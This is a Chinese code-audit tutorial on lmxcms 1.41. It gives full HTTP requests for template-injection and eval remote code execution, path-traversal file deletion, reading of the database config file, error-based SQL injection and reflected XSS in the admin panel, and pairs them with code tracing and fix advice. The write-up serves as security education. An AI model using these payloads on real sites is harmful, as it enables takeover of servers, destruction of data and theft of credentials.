从0到1 | lmxcms1.41初级代码审计

admin 2024年2月7日20:42:23评论12 views字数 9041阅读30分8秒阅读模式

扫码领资料

获网安教程

从0到1 | lmxcms1.41初级代码审计

从0到1 | lmxcms1.41初级代码审计
本文由掌控安全学院 - xzz 投稿

1、RCE代码执行

漏洞条件:

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default
  2. 漏洞参数:temcontent
  3. 是否存在限制:
  4. 是否还有其他条件:使用smarty模板,m=Template

复现

  1. POST /admin.php?m=Template&a=editfile&dir=default HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Content-Length:564
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests:1
  6. Origin: http://lmxcmm1.41.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default/footer.html
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
  14. Connection: close
  15. temcontent=%3Cdiv+class%3D%22footerBox+width%22%3E%0D%0A%09%3Cdiv+class%3D%22footer%22%3E%0D%0A++++++++%3Cp%3E%3C%7Bphp%7D%3Ephpinfo%28%29%3B%3C%7B%2Fphp%7D%3E%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+2014+%E6%B9%98ICP%E5%A4%878888888%3Cbr+%2F%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Elmxcms%3C%2Fa%3E+%3C%7B%24version%7D%3E+%C2%A92014+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Ewww.lmxcms.com%3C%2Fa%3E%3C%2Fp%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E&filename=footer.html&settemcontent=%E6%8F%90%E4%BA%A4
  1. 查看如何编写这个标签

从0到1 | lmxcms1.41初级代码审计

从0到1 | lmxcms1.41初级代码审计
  1. 提交后访问前台首页
从0到1 | lmxcms1.41初级代码审计

代码

  1. 搜索smarty模板。一般模板功能会出现eval函数的执行,因为有可能在前端页面通过php的代码去实现一些内容。首页、头部、尾页文件htmladmin目录下的template文件。
从0到1 | lmxcms1.41初级代码审计
  1. 在执行文件写入的时候也不会有限制
从0到1 | lmxcms1.41初级代码审计
  1. 通过文件找到对应功能位置,果然是在模板调用时。
从0到1 | lmxcms1.41初级代码审计
  1. 打开一个尾部html,发现和页面显示不同。要么是存储的变量,变量等于1.41。或者写到数据库了,通过model层去除1.41然后显示。因为是个html文件,不能执行php代码,所以会引用eval强制执行造成rce
从0到1 | lmxcms1.41初级代码审计

修复建议

  1. 对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

2、RCE代码执行

漏洞条件:

  1. 参数接收后执行eval('$data='这里面的输入的内容'')
  2. 点是连接符,//注释掉后面的
  3. 漏洞url: url1http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
  4. url2http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
  5. 漏洞参数:sqlstr
  6. 是否存在限制:
  7. 是否还有其他条件:m=Sql&a=sqlsetm=Acquisi&a=showCjData&cid=1&id=1&lid=1
  1. POST /admin.php?&m=Sql&a=sqlset HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Content-Length:135
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests:1
  6. Origin: http://lmxcmm1.41.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://lmxcmm1.41.com/admin.php?m=Sql&a=index&type=0
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
  14. Connection: close
  15. sqlstr=INSERT+INTO+lmx_cj_data+%28id%2C+data%29+VALUES+%28%276%27%2C+%27666%3Bphpinfo%28%29%3B%2F%2F%27%29%3B&sqlsub=%E6%8F%90%E4%BA%A4
  1. 在这里执行一条sql语句将内容插入cj_data表中。查询的主要是iddata所以只需要插入这两个字段。
  2. INSERT INTO lmx_cj_data (id, data) VALUES ('5','666;phpinfo();//');
从0到1 | lmxcms1.41初级代码审计
  1. GET /admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1 HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests:1
  4. User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  9. Connection: close
从0到1 | lmxcms1.41初级代码审计

代码

  1. 搜索代码执行关键字,找到函数里存在变量的文件
从0到1 | lmxcms1.41初级代码审计
  1. 跟踪一下$temdata['data']
  2. $data是从$temdata赋值的,$temdata314行过来的,有个caijiDataOne函数接收的$_GET['cid'],也没有对变量做处理。
从0到1 | lmxcms1.41初级代码审计
  1. 已知查询的数据库表是cj_data
从0到1 | lmxcms1.41初级代码审计
  1. 要执行eval的话先触发showCjData()方法,在依次接收变量,控制变量cid结果为$temdata,在控制318行的值实现rce。需要一步一步的触发。但这里的方法是从数据库取出才会触发,不是从这个功能写入的。
从0到1 | lmxcms1.41初级代码审计
  1. 定位到这个文件在admin下。再去看一下路由情况,先登录后台
从0到1 | lmxcms1.41初级代码审计
从0到1 | lmxcms1.41初级代码审计
  1. 所以可以将文件直接替换,定位到功能位置。但实际是从'执行sql'功能写入的内容
从0到1 | lmxcms1.41初级代码审计

修复建议

  1. 对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

3、后台2处任意文件删除

漏洞条件:

  1. 漏洞url: url1http://lmxcmm1.41.com/admin.php?m=Backdb&a=delbackdb&filename=../../1.txt
  2. url2http://lmxcmm1.41.com/admin.php?m=Backdb&a=delmorebackdb
  3. 漏洞参数:filenamefilename[]
  4. 是否存在限制:
  5. 是否还有其他条件:m=Backdba=delbackdb/ a=delmorebackdb

复现

第一处:
  1. GET /admin.php?m=Backdb&a=delbackdb&filename=../../1.txt HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests:1
  4. User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
从0到1 | lmxcms1.41初级代码审计
第二处:
  1. POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Content-Length:26
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests:1
  6. Origin: http://lmxcmm1.41.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  14. Connection: close
  15. filename%5B%5D=../../1.txt
从0到1 | lmxcms1.41初级代码审计

代码

  1. 第一处:$filename = trim($_GET['filename']);,判断文件是否存在,如果 $filename 不为空,代码则调用 $this->delOne($filename);方法尝试删除名为 $filename 的备份文件。直接执行删除操作。
  2. 第二处:$filename = $_POST['filename'];。如果获得的'filename'参数有值,它将对数组中的每一个元素(也就是每一个文件名)调用$this->delOne($v);方法,尝试删除对应的备份文件。
  3. 都调用了delOne()方法。
从0到1 | lmxcms1.41初级代码审计

修复建议

  1. 仔细验证和过滤用户输入,确保删除请求的文件名仅包含安全、有效的字符,并且限制在预设的文件目录中。其次,实施权限控制,只允许具有适当权限的用户执行删除操作。

4、后台任意文件读取

漏洞条件

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=../inc/db.inc.php
  2. 漏洞参数:dir
  3. 是否存在限制:
  4. 是否还有其他条件:m=Template&a=editfile&dir

复现

  1. GET /admin.php?m=Template&a=editfile&dir=../inc/db.inc.php HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Accept:*/*
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Origin: http://lmxcmm1.41.com
  7. Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9
  10. Cookie: PHPSESSID=lmsb9v1t6oqq5eahqtq54jqij6
  11. Connection: close
从0到1 | lmxcms1.41初级代码审计

代码

  1. file_get_contents搜索文件读取函数并且存在变量的。
  2. 检查 $path 指向的是否是一个文件,如果是,尝试读取文件内容。
  3. 如果不存在返回错误信息,否则返回读取的内容
从0到1 | lmxcms1.41初级代码审计
  1. 跟踪getconTemplateAction.class.php文件的editfile方法调用了它。构造它只需要满足get方式接收dir参数
从0到1 | lmxcms1.41初级代码审计

修复建议

  1. 对所有用户输入文件路径的处理进行严格的检查和清理,并确保仅限于访问安全、隔离的目录且拥有适当的权限。

5、后台sql注入和xss

漏洞条件:

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=zt&a=search&name=1
  2. 漏洞参数:name
  3. 是否存在限制:
  4. 是否还有其他条件:m=zt&a=search

复现

sqi注入
  1. GET /admin.php?m=zt&a=search&name=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Column
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
从0到1 | lmxcms1.41初级代码审计
xss
  1. GET /admin.php?m=zt&a=search&name='><script>alert("XSS")</script> HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Column
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
从0到1 | lmxcms1.41初级代码审计
从0到1 | lmxcms1.41初级代码审计

代码

  1. $name = trim($_GET['name']);接收变量,判断变量不为空就带入where查询需求
从0到1 | lmxcms1.41初级代码审计
  1. count-->countModel-->countDB-->query
  2. 一路跟踪后,发现会返回错误的语句
从0到1 | lmxcms1.41初级代码审计
从0到1 | lmxcms1.41初级代码审计
从0到1 | lmxcms1.41初级代码审计

修复建议

sql注入
  1. 确保使用参数化查询,对所有用户输入进行严格验证和清理,并且让应用程序的数据库账户只拥有最小权限。
xss修复
  1. 确保所有用户输入的数据在输出到浏览器前都进行了适当的转义或编码

6、后台sql注入

漏洞条件:

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=Zt&a=ajax_data
  2. 漏洞参数:curr
  3. 是否存在限制:
  4. 是否还有其他条件:m=Zt&a=ajax_data

复现

  1. POST /admin.php?m=Zt&a=ajax_data HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests:1
  4. User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 114
  13. curr=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA
从0到1 | lmxcms1.41初级代码审计

代码

  1. $name = trim($_POST['curr']);判断$name变量存在就拼接where sql语句
从0到1 | lmxcms1.41初级代码审计
  1. count-->countModel-->countDB-->query
  2. 同样跟踪到query会有报错语句回显
从0到1 | lmxcms1.41初级代码审计

修复建议

  1. 确保使用参数化查询,对所有用户输入进行严格验证和清理,并且让应用程序的数据库账户只拥有最小权限。

.

从0到1 | lmxcms1.41初级代码审计

~

师领取

上千教程+工具+靶场账号

从0到1 | lmxcms1.41初级代码审计

分享后扫码加我

回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

从0到1 | lmxcms1.41初级代码审计

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日20:42:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从0到1 | lmxcms1.41初级代码审计https://cn-sec.com/archives/2475151.html

发表评论

匿名网友 填写信息